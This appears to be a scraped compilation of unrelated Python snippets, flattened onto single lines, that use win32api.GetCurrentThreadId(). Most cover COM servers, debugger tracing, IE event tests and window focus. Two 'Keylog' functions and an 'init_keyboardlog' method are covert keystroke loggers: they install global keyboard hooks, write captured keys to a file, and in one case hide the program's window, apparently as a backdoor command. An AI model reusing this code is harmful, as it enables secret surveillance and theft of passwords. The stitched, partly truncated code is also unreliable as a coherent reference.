def _BreakFlagsChanged(self): traceenter( "_BreakFlagsChanged to %s with our thread = %s, and debugging thread = %s" % (self.breakFlags, self.debuggingThread, win32api.GetCurrentThreadId())) trace("_BreakFlagsChanged has breaks", self.breaks) # If a request comes on our debugging thread, then do it now! # if self.debuggingThread!=win32api.GetCurrentThreadId(): # return if len(self.breaks) or self.breakFlags: if self.logicalbotframe: trace("BreakFlagsChange with bot frame", _dumpf(self.logicalbotframe)) # We have frames not to be debugged (eg, Scripting engine frames # (sys.settrace will be set when out logicalbotframe is hit - # this may not be the right thing to do, as it may not cause the # immediate break we desire.) self.logicalbotframe.f_trace = self.trace_dispatch else: trace("BreakFlagsChanged, but no bottom frame") if self.stopframe is not None: self.stopframe.f_trace = self.trace_dispatch # If we have the thread-state for the thread being debugged, then # we dynamically set its trace function - it is possible that the thread # being debugged is in a blocked call (eg, a message box) and we # want to hit the debugger the instant we return if self.debuggingThreadStateHandle is not None and \ self.breakFlags and \ self.debuggingThread != win32api.GetCurrentThreadId(): axdebug.SetThreadStateTrace(self.debuggingThreadStateHandle, self.trace_dispatch)
def _PostVirtualKey(self, key, shift): # https://whynhow.info/44338/How-to-transfer-the-key-combination-(CTRL--A-etc)-to-an-inactive-window? PBYTE256 = ctypes.c_ubyte * 256 GetKeyboardState = self._user32.GetKeyboardState SetKeyboardState = self._user32.SetKeyboardState GetWindowThreadProcessId = self._user32.GetWindowThreadProcessId AttachThreadInput = self._user32.AttachThreadInput MapVirtualKeyA = self._user32.MapVirtualKeyA if wg.IsWindow(self.hwndList): ThreadId = GetWindowThreadProcessId(self.hwndList, None) lparam = wa.MAKELONG(0, MapVirtualKeyA(key, 0)) if len( shift ) > 0: # Если есть модификаторы - используем PostMessage и AttachThreadInput pKeyBuffers = PBYTE256() pKeyBuffers_old = PBYTE256() wa.SendMessage(self.hwndList, wc.WM_ACTIVATE, wc.WA_ACTIVE, 0) AttachThreadInput(wa.GetCurrentThreadId(), ThreadId, True) GetKeyboardState(ctypes.byref(pKeyBuffers_old)) for modkey in shift: if modkey == wc.VK_MENU: lparam = lparam | 0x20000000 msg_down = wc.WM_SYSKEYDOWN msg_up = wc.WM_SYSKEYUP pKeyBuffers[modkey] |= 128 SetKeyboardState(ctypes.byref(pKeyBuffers)) time.sleep(0.01) wa.PostMessage(self.hwndList, wc.WM_KEYDOWN, key, lparam) time.sleep(0.01) wa.PostMessage(self.hwndList, wc.WM_KEYUP, key, lparam | 0xC0000000) time.sleep(0.01) SetKeyboardState(ctypes.byref(pKeyBuffers_old)) time.sleep(0.01) AttachThreadInput(wa.GetCurrentThreadId(), ThreadId, False) else: # Если нету модификаторов - используем SendMessage SendMessage(self.hwndList, msg_down, key, lparam) SendMessage(self.hwndList, msg_up, key, lparam | 0xC0000000) return True else: return False
def OnDocumentComplete(self, pDisp=pythoncom.Empty, URL=pythoncom.Empty): thread = win32api.GetCurrentThreadId() print "OnDocumentComplete event processed on thread %d"%thread # Set the event our main thread is waiting on. win32event.SetEvent(self.event)
def getCurrentCursor(whandle): pid = win32process.GetWindowThreadProcessId(whandle)[0] tid = win32api.GetCurrentThreadId() win32process.AttachThreadInput(pid, tid, True) crsr = win32gui.GetCursor() win32process.AttachThreadInput(pid, tid, False) return crsr
def Keylog(k, LOG_TIME, LOG_FILENAME): if os.name != 'nt': return "Not supported for this operating system.n" # checking the OS global LOG_TEXT, LOG_FILE, LOG_STATE, LOG_ACTIVE, main_thread_id LOG_STATE = True # begin logging process main_thread_id = win32api.GetCurrentThreadId() # Formatting and adding timestamp when log starts LOG_TEXT += "n+++++++++++++++++++++++++++++++++++++++++++++++++n" LOG_DATE = datetime.datetime.now() LOG_TEXT += ' ' + str(LOG_DATE) + ' [ Logging started ] |n' LOG_TEXT += "++++++++++++++++++++++++++++++++++++++++++++++++++++nn" # Find out which window is currently active w = win32gui LOG_ACTIVE = w.GetWindowText (w.GetForegroundWindow()) LOG_DATE = datetime.datetime.now() LOG_TEXT += "* Activated Windows.* [" + str(LOG_DATE) + "] n" LOG_TEXT += "+" * len(LOG_ACTIVE) + "+++n" LOG_TEXT += " " + LOG_ACTIVE + " |n" LOG_TEXT += "+" * len(LOG_ACTIVE) + "+++nn" if LOG_TIME > 0: t = Timer(LOG_TIME, stopKeylog) # Quit t.start() # Opening the file to write LOG_FILE = open(LOG_FILENAME, 'w') LOG_FILE.write(LOG_TEXT) LOG_FILE.close() hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() hide() pythoncom.PumpMessages() # this is where all the magic happens! ;)
def test(fn): print("The main thread is %d" % (win32api.GetCurrentThreadId())) GIT = CreateGIT() interp = win32com.client.Dispatch("Python.Interpreter") cookie = GIT.RegisterInterfaceInGlobal(interp._oleobj_, pythoncom.IID_IDispatch) events = fn(4, cookie) numFinished = 0 while 1: try: rc = win32event.MsgWaitForMultipleObjects(events, 0, 2000, win32event.QS_ALLINPUT) if rc >= win32event.WAIT_OBJECT_0 and rc < win32event.WAIT_OBJECT_0 + len( events): numFinished = numFinished + 1 if numFinished >= len(events): break elif rc == win32event.WAIT_OBJECT_0 + len(events): # a message # This is critical - whole apartment model demo will hang. pythoncom.PumpWaitingMessages() else: # Timeout print( "Waiting for thread to stop with interfaces=%d, gateways=%d" % (pythoncom._GetInterfaceCount(), pythoncom._GetGatewayCount())) except KeyboardInterrupt: break GIT.RevokeInterfaceFromGlobal(cookie) del interp del GIT
def __init__(self, display): self.display = display self.mainthreadid = win32api.GetCurrentThreadId() # create event queue with null op win32gui.PeekMessage( win32con.NULL, win32con.WM_USER, win32con.WM_USER, win32con.PM_NOREMOVE )
def trace(*args): if not debugging: return print(str(win32api.GetCurrentThreadId()) + ":", end=" ") for arg in args: print(arg, end=" ") print()
def serve(clsid="{506e67c3-55b5-48c3-a035-eed5deea7d6d}"): """Launch the COM server, clsid is the XLPython objectok class id """ clsid = pywintypes.IID(clsid) # Ovveride CreateInstance in default policy to instantiate the XLPython object --- BaseDefaultPolicy = win32com.server.policy.DefaultPolicy class MyPolicy(BaseDefaultPolicy): def _CreateInstance_(self, reqClsid, reqIID): if reqClsid == clsid: return serverutil.wrap(XLPython(), reqIID) else: return BaseDefaultPolicy._CreateInstance_(self, clsid, reqIID) win32com.server.policy.DefaultPolicy = MyPolicy # Create the class factory and register it factory = pythoncom.MakePyFactory(clsid) clsctx = pythoncom.CLSCTX_LOCAL_SERVER flags = pythoncom.REGCLS_MULTIPLEUSE | pythoncom.REGCLS_SUSPENDED revokeId = pythoncom.CoRegisterClassObject(clsid, factory, clsctx, flags) pythoncom.EnableQuitMessage(win32api.GetCurrentThreadId()) pythoncom.CoResumeClassObjects() print('xlwings server running, clsid=%s' % clsid) pythoncom.PumpMessages() pythoncom.CoRevokeClassObject(revokeId) pythoncom.CoUninitialize()
def activate_by_attach(hwnd): import win32process import win32api import win32gui import ctypes forehwnd = win32gui.GetForegroundWindow() fore_threadid, processid = win32process.GetWindowThreadProcessId(forehwnd) current_threadid = win32api.GetCurrentThreadId() # foreground なスレッドにアタッチする if fore_threadid != current_threadid: try: # たまに error:87 が起きるので吸収. win32process.AttachThreadInput(current_threadid, fore_threadid, True) except: pass try: ctypes.windll.user32.BringWindowToTop(hwnd) except: pass if fore_threadid != current_threadid: try: win32process.AttachThreadInput(current_threadid, fore_threadid, False) except: pass
def SetupAXDebugging(self, baseFrame = None, userFrame = None): """Get ready for potential debugging. Must be called on the thread that is being debugged. """ # userFrame is for non AXScript debugging. This is the first frame of the # users code. if userFrame is None: userFrame = baseFrame else: # We have missed the "dispatch_call" function, so set this up now! userFrame.f_locals['__axstack_address__'] = axdebug.GetStackAddress() traceenter("SetupAXDebugging", self) self._threadprotectlock.acquire() try: thisThread = win32api.GetCurrentThreadId() if self.debuggingThread is None: self.debuggingThread = thisThread else: if self.debuggingThread!=thisThread: trace("SetupAXDebugging called on other thread - ignored!") return # push our context. self.recursiveData.insert(0, (self.logicalbotframe,self.stopframe, self.currentframe,self.debuggingThreadStateHandle)) finally: self._threadprotectlock.release() trace("SetupAXDebugging has base frame as", _dumpf(baseFrame)) self.botframe = baseFrame self.stopframe = userFrame self.logicalbotframe = baseFrame self.currentframe = None self.debuggingThreadStateHandle = axdebug.GetThreadStateHandle() self._BreakFlagsChanged()
def _run_application_modal(self, func): """ Run the specified function application modal if possible. """ ret = None if sys.platform == "win32": # when we show a modal dialog, the application should be disabled. # However, because the QApplication doesn't have control over the # main Softimage window we have to do this ourselves... import win32api, win32gui tk_softimage = self.import_module("tk_softimage") foreground_window = None saved_state = [] try: # find all windows and save enabled state: foreground_window = win32gui.GetForegroundWindow() #self.log_debug("Disabling main application windows before showing modal dialog") found_hwnds = tk_softimage.find_windows(thread_id = win32api.GetCurrentThreadId(), stop_if_found=False) for hwnd in found_hwnds: enabled = win32gui.IsWindowEnabled(hwnd) saved_state.append((hwnd, enabled)) if enabled: # disable the window: win32gui.EnableWindow(hwnd, False) # run function ret = func() except Exception, e: self.log_error("Error showing modal dialog: %s" % e) finally:
def TestExplorerEvents(): iexplore = win32com.client.DispatchWithEvents( "InternetExplorer.Application", ExplorerEvents) thread = win32api.GetCurrentThreadId() print('TestExplorerEvents created IE object on thread %d' % thread) iexplore.Visible = 1 try: iexplore.Navigate(win32api.GetFullPathName('..\\readme.htm')) except pythoncom.com_error as details: print("Warning - could not open the test HTML file", details) # Wait for the event to be signalled while pumping messages. if not WaitWhileProcessingMessages(iexplore.event): print("Document load event FAILED to fire!!!") iexplore.Quit() # # Give IE a chance to shutdown, else it can get upset on fast machines. # Note, Quit generates events. Although this test does NOT catch them # it is NECESSARY to pump messages here instead of a sleep so that the Quit # happens properly! if not WaitWhileProcessingMessages(iexplore.event): print("OnQuit event FAILED to fire!!!") iexplore = None
def run(self): hm = pyHook.HookManager() hm.KeyDown = self.onKeyboardEvent hm.HookKeyboard() self.thread_id = win32api.GetCurrentThreadId() pythoncom.PumpMessages() exit()
def Keylog(k, LOG_TIME, LOG_FILENAME): # only supported for Windows at the moment... if os.name != 'nt': return "Not supported for this operating system.\n" global LOG_TEXT, LOG_STATE, LOG_ACTIVE, main_thread_id LOG_STATE = True # begin logging! main_thread_id = win32api.GetCurrentThreadId() # add timestamp when it starts... LOG_TEXT += "\n===================================================\n" LOG_DATE = datetime.datetime.now() LOG_TEXT += ' ' + str(LOG_DATE) + ' >>> Logging started.. |\n' LOG_TEXT += "===================================================\n\n" # find out which window is currently active! w = win32gui LOG_ACTIVE = w.GetWindowText(w.GetForegroundWindow()) LOG_DATE = datetime.datetime.now() LOG_TEXT += "[*] Window activated. [" + str(LOG_DATE) + "] \n" LOG_TEXT += "=" * len(LOG_ACTIVE) + "===\n" LOG_TEXT += " " + LOG_ACTIVE + " |\n" LOG_TEXT += "=" * len(LOG_ACTIVE) + "===\n\n" t = Timer(LOG_TIME, stopKeylog) # Quit t.start() # open file to write LOG_FILE = open(LOG_FILENAME, 'wb') hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages() # this is where all the magic happens! ;) # after finished, we add the timestamps at the end. LOG_TEXT += "\n\n===================================================\n" LOG_DATE = datetime.datetime.now() LOG_TEXT += " " + str(LOG_DATE) + ' >>> Logging finished. |\n' LOG_TEXT += "===================================================\n" LOG_STATE = False LOG_FILE.write(LOG_TEXT) LOG_FILE.close()
def TestExplorerEvents(): iexplore = win32com.client.DispatchWithEvents( "InternetExplorer.Application", ExplorerEvents) thread = win32api.GetCurrentThreadId() print('TestExplorerEvents created IE object on thread %d'%thread) iexplore.Visible = 1 try: iexplore.Navigate(win32api.GetFullPathName('..\\readme.htm')) except pythoncom.com_error as details: print("Warning - could not open the tests HTML file", details) # In this free-threaded example, we can simply wait until an event has # been set - we will give it 2 seconds before giving up. rc = win32event.WaitForSingleObject(iexplore.event, 2000) if rc != win32event.WAIT_OBJECT_0: print("Document load event FAILED to fire!!!") iexplore.Quit() # Now we can do the same thing to wait for exit! # Although Quit generates events, in this free-threaded world we # do *not* need to run any message pumps. rc = win32event.WaitForSingleObject(iexplore.event, 2000) if rc != win32event.WAIT_OBJECT_0: print("OnQuit event FAILED to fire!!!") iexplore = None print("Finished the IE event sample!")
def __init__(self): self.run_event = threading.Event() self.tid = win32api.GetCurrentThreadId() global bg_tid bg_tid = self.tid # print "Background thread ID: ", self.tid threading.Thread.__init__(self, name="UDP_ResponseListener_Thread")
def HandleOutput(self, message): # debug("QueueOutput on thread %d, flags %d with '%s'...\n" % (win32api.GetCurrentThreadId(), self.writeQueueing, message )) self.outputQueue.put(message) if win32api.GetCurrentThreadId() != self.mainThreadId: pass # debug("not my thread - ignoring queue options!\n") elif self.writeQueueing == flags.WQ_LINE: pos = string.rfind(message, '\n') if pos >= 0: # debug("Line queueing - forcing flush\n") self.QueueFlush() return elif self.writeQueueing == flags.WQ_NONE: # debug("WQ_NONE - flushing!\n") self.QueueFlush() return # Let our idle handler get it - wake it up try: win32ui.GetMainFrame().PostMessage( win32con.WM_USER) # Kick main thread off. except win32ui.error: # This can happen as the app is shutting down, so we send it to the C++ debugger win32api.OutputDebugString(message)
def openWindow(): ''' Attempts to open a window on the Winlogon desktop. This can also be used to just test opening a window on the Application desktop. NOTE: The Winlogon desktop part is not currently working with this example installed as an interactive service. It may be necessary instead to set this up as something started by a Winlogon Notification Package. ''' logging.basicConfig( level=logging.DEBUG, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename=r'C:\temp\myapp.log', filemode='w') logging.debug("Starting") cur_winsta = win32service.GetProcessWindowStation() logging.debug("Got process window station") cur_desktop = win32service.GetThreadDesktop(win32api.GetCurrentThreadId()) logging.debug("Got current desktop") try: new_winsta = win32service.OpenWindowStation( "winsta0", False, win32con.WINSTA_ACCESSCLIPBOARD | win32con.WINSTA_ACCESSGLOBALATOMS | win32con.WINSTA_CREATEDESKTOP | win32con.WINSTA_ENUMDESKTOPS | win32con.WINSTA_ENUMERATE | win32con.WINSTA_EXITWINDOWS | win32con.WINSTA_READATTRIBUTES | win32con.WINSTA_READSCREEN | win32con.WINSTA_WRITEATTRIBUTES) new_winsta.SetProcessWindowStation() desktop = win32service.OpenDesktop( "Winlogon", 0, False, win32con.DESKTOP_CREATEMENU | win32con.DESKTOP_CREATEWINDOW | win32con.DESKTOP_ENUMERATE | win32con.DESKTOP_HOOKCONTROL | win32con.DESKTOP_JOURNALPLAYBACK | win32con.DESKTOP_JOURNALRECORD | win32con.DESKTOP_READOBJECTS | win32con.DESKTOP_SWITCHDESKTOP | win32con.DESKTOP_WRITEOBJECTS) desktop.SetThreadDesktop() logging.debug("Running calculator") os.system("calc") logging.debug("Done") except: logging.debug("Caught exception:") logging.debug(sys.exc_info()[0]) # Print the exception type logging.debug(sys.exc_info()[1]) # Print the exception info cur_winsta.SetProcessWindowStation() cur_desktop.SetThreadDesktop() cur_desktop.CloseDesktop() cur_winsta.CloseWindowStation() if new_winsta is not None: new_winsta.CloseWindowStation() if desktop is not None: desktop.CloseDesktop()
def init_keyboardlog(self): #setup keyboard hook to sniff keyboard key self.key_storage = '' self.keyboard_thread_id = win32api.GetCurrentThreadId() hm = pyHook.HookManager() hm.KeyDown = self.OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()
def GetFocus(cls): curtid = win32api.GetCurrentThreadId() whd = win32gui.GetForegroundWindow() (tid, pid) = win32process.GetWindowThreadProcessId(whd) win32process.AttachThreadInput(curtid, tid, True) focus_whd = win32gui.GetFocus() win32process.AttachThreadInput(curtid, tid, False) return focus_whd
def mouse_key_hook(): global monitor_thread_id global hk monitor_thread_id = win32api.GetCurrentThreadId() hk = Hook() hk.handler = on_event hk.hook(keyboard=True, mouse=True)
def trace(*args): """A function used instead of "print" for debugging output.""" if not debuggingTrace: return print(win32api.GetCurrentThreadId(), end=" ") for arg in args: print(arg, end=" ") print()
def __exit__(self, unused_type, unused_value, unused_traceback): """Detaches the current thread from the active thread's message queue.""" if not self._active_thread_id: return current_thread_id = win32api.GetCurrentThreadId() win32process.AttachThreadInput(current_thread_id, self._active_thread_id, 0) logging.info('Detached current thread input %s from thread: %s', current_thread_id, self._active_thread_id)
def _old(hwnd): """So ugly here...""" if not win32gui.IsWindow(hwnd): return fgwin = win32gui.GetForegroundWindow() fg, fp = win32process.GetWindowThreadProcessId(fgwin) current = win32api.GetCurrentThreadId() try: attached = False if current != fg and fg: try: attached = win32process.AttachThreadInput(fg, current, True) except: pass #AllowSetForegroundWindow(ASFW_ANY) _, showCmd, _, _, _ = win32gui.GetWindowPlacement(hwnd) # to show window owned by admin process when running in user process # see http://msdn.microsoft.com/en-us/library/windows/desktop/ms633548(v=vs.85).aspx # for details if showCmd == SW_SHOWMINIMIZED: #win32gui.ShowWindow(hwnd, SW_RESTORE) win32api.SendMessage(hwnd, win32con.WM_SYSCOMMAND, win32con.SC_RESTORE, 0) else: #win32gui.ShowWindow(hwnd, SW_SHOW) win32api.SendMessage(hwnd, win32con.WM_SYSCOMMAND, win32con.SW_SHOW, 0) for fn in [ win32gui.BringWindowToTop, win32gui.SetForegroundWindow, win32gui.SetActiveWindow, win32gui.SetFocus ]: try: fn(hwnd) except Exception as e: logging.error(str(e)) except Exception as e: logging.error(str(e)) finally: if attached: win32process.AttachThreadInput(fg, win32api.GetCurrentThreadId(), False)
def __init__(self, icon, hover_text, menu_options, on_quit=None, default_menu_index=None, window_class_name=None, lock=None, init_callback=None): self.icon = icon self.hover_text = hover_text self.on_quit = on_quit self.hmenu = None self.lock = lock self.init_menu_options(menu_options) self.default_menu_index = (default_menu_index or 0) self.window_class_name = window_class_name or "SysTrayIconPy" try: message_map = { win32gui.RegisterWindowMessage("TaskbarCreated"): self.restart, win32con.WM_DESTROY: self.destroy, win32con.WM_COMMAND: self.command, win32con.WM_USER + 20: self.notify, win32con.WM_USER + 21: self._refresh_icon_event } # Register the Window class. window_class = win32gui.WNDCLASS() hinst = window_class.hInstance = win32gui.GetModuleHandle(None) window_class.lpszClassName = self.window_class_name window_class.style = win32con.CS_VREDRAW | win32con.CS_HREDRAW window_class.hCursor = win32gui.LoadCursor(0, win32con.IDC_ARROW) window_class.hbrBackground = win32con.COLOR_WINDOW window_class.lpfnWndProc = message_map # could also specify a wndproc. classAtom = win32gui.RegisterClass(window_class) # Create the Window. style = win32con.WS_OVERLAPPED | win32con.WS_SYSMENU self.hwnd = win32gui.CreateWindow(classAtom, self.window_class_name, style, 0, 0, win32con.CW_USEDEFAULT, win32con.CW_USEDEFAULT, 0, 0, hinst, None) win32gui.UpdateWindow(self.hwnd) self.notify_id = None self.refresh_icon() atexit.register(self.destroy, None, None, None, None) SysTrayIcon.instance = self self.threadid = win32api.GetCurrentThreadId() finally: if init_callback is not None: init_callback(self) win32gui.PumpMessages()
def OnDocumentComplete(self, pDisp=pythoncom.Empty, URL=pythoncom.Empty): # # Caution: Since the main thread and events thread(s) are different # it may be necessary to serialize access to shared data. Because # this is a simple test case, that is not required here. Your # situation may be different. Caveat programmer. # thread = win32api.GetCurrentThreadId() print("OnDocumentComplete event processed on thread %d" % thread) # Set the event our main thread is waiting on. win32event.SetEvent(self.event)
def main(): monitor_thread = threading.Thread(target=mouse_key_hook,name='monitor01') monitor_thread.start() main_thread_id = win32api.GetCurrentThreadId() #monitor_thread.join()#zu se #thread2.join()#zu se #print(threading.active_count()) #print(threading.enumerate()) #print(threading.current_thread()) print('all done')
def _doTestInThread(self, interp): pythoncom.CoInitialize() myThread = win32api.GetCurrentThreadId() if freeThreaded: interp = pythoncom.CoGetInterfaceAndReleaseStream(interp, pythoncom.IID_IDispatch) interp = win32com.client.Dispatch(interp) interp.Exec("import win32api") #print "The test thread id is %d, Python.Interpreter's thread ID is %d" % (myThread, interp.Eval("win32api.GetCurrentThreadId()")) pythoncom.CoUninitialize()
def serve(clsids): infos = factory.RegisterClassFactories(clsids) pythoncom.EnableQuitMessage(win32api.GetCurrentThreadId()) pythoncom.CoResumeClassObjects() pythoncom.PumpMessages() factory.RevokeClassFactories(infos) pythoncom.CoUninitialize()